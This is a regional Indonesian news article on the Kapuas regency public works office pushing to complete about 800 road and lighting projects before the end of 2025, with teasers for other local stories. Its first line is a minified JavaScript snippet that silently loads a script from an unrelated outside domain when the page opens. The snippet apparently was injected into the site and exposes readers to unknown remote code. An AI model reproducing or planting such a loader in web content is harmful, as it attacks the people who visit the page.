(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Kapuas mengejar waktu 800 paket pekerjaan fisik yang tersebar di 17 kecamatan rampung sebelum 2025 berakhir.
Hingga awal Desember, progres pembangunan mencapai sekitar 80 persen. Sejumlah proyek bahkan telah memasuki tahap Provisional Hand Over (PHO).
Kepala Dinas PUPR Kapuas, H Hargatin mengatakan bahwa seluruh proyek yang dibiayai anggaran murni, efisiensi, dan perubahan APBD diyakini bisa dikejar dalam sisa waktu 28 hari.
“Khusus pengaspalan dalam kota, paket satu, dua, dan tiga, kami yakin selesai tepat waktu dan tepat mutu,” ujar H Hargatin
Baca juga: Ketua TP PKK Kapuas Buka Kegiatan Penguatan 10 Program Pokok PKK
Selain pengaspalan dan pelebaran jalan, PUPR Kapuas memusatkan perhatian pada pemasangan tiang penerangan jalan umum. Proses itu baru bisa dilakukan jika pondasi sudah mengeras sesuai usia beton yang dipersyaratkan.
“Saya berharap tujuh hari sebelum 28 Desember, fisik dan pelaporannya sudah selesai seluruhnya,” ujar Hargatin.
Ia berpesan kepada para kontraktor agar bekerja lebih sigap menambah jam kerja, menambah tenaga, dan memastikan material tersedia. “Ini sudah mendekati akhir tahun, jangan sampai kita kecolongan,” ucapnya.
Hargain menjelaskan bahwa tidak sedikit menemukan kondisi yang beragam ada pekerjaan yang sudah tuntas, namun tidak sedikit pula yang tertunda akibat cuaca tak menentu.
Baca juga: Rekayasa Lalu Lintas di Jalan Simpang Ulin Banjarmasin: Jalur Dilarang Parkir
“Jadi, pada kondisi seperti ini pentingnya kekompakan antara kontraktor, konsultan pengawas, dan internal dinas,” jelasnya.
“Kami telah menerbitkan surat imbauan mengenai tata tertib pekerjaan menjelang akhir tahun. Bila ada proyek yang tidak selesai sesuai kontrak, pembayaran hanya akan dilakukan berdasarkan progres riil yang sudah diperiksa dan disepakati,” katanya.
Regulasi sebenarnya memberi ruang perpanjangan waktu hingga 50 hari di luar tahun anggaran. Namun, dipastikan opsi itu tidak akan digunakan.
Selain itu, ada keterlambatan pada awal pelaksanaan, ditambah insiden longsor di Kalimantan Selatan yang menghambat suplai batu, turut memperberat pekerjaan.
Baca juga: Warga Kampung Sultan Minta Pembuatan RTH dan Posyandu ke Wakil Rakyat
“Kapuas tidak memiliki sumber material sendiri, jadi kami masih mengandalkan pasokan dari Kalsel. Kontraktor berinisiatif mengambil dari lokasi lain yang sesuai juknis, meski jumlahnya terbatas,” tutur Hargatin.
Hargatin menekankan satu hal, sisa waktu tidak banyak, tetapi kerja bersama membuatnya optimistis dengan adanya kekompakan kerja. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.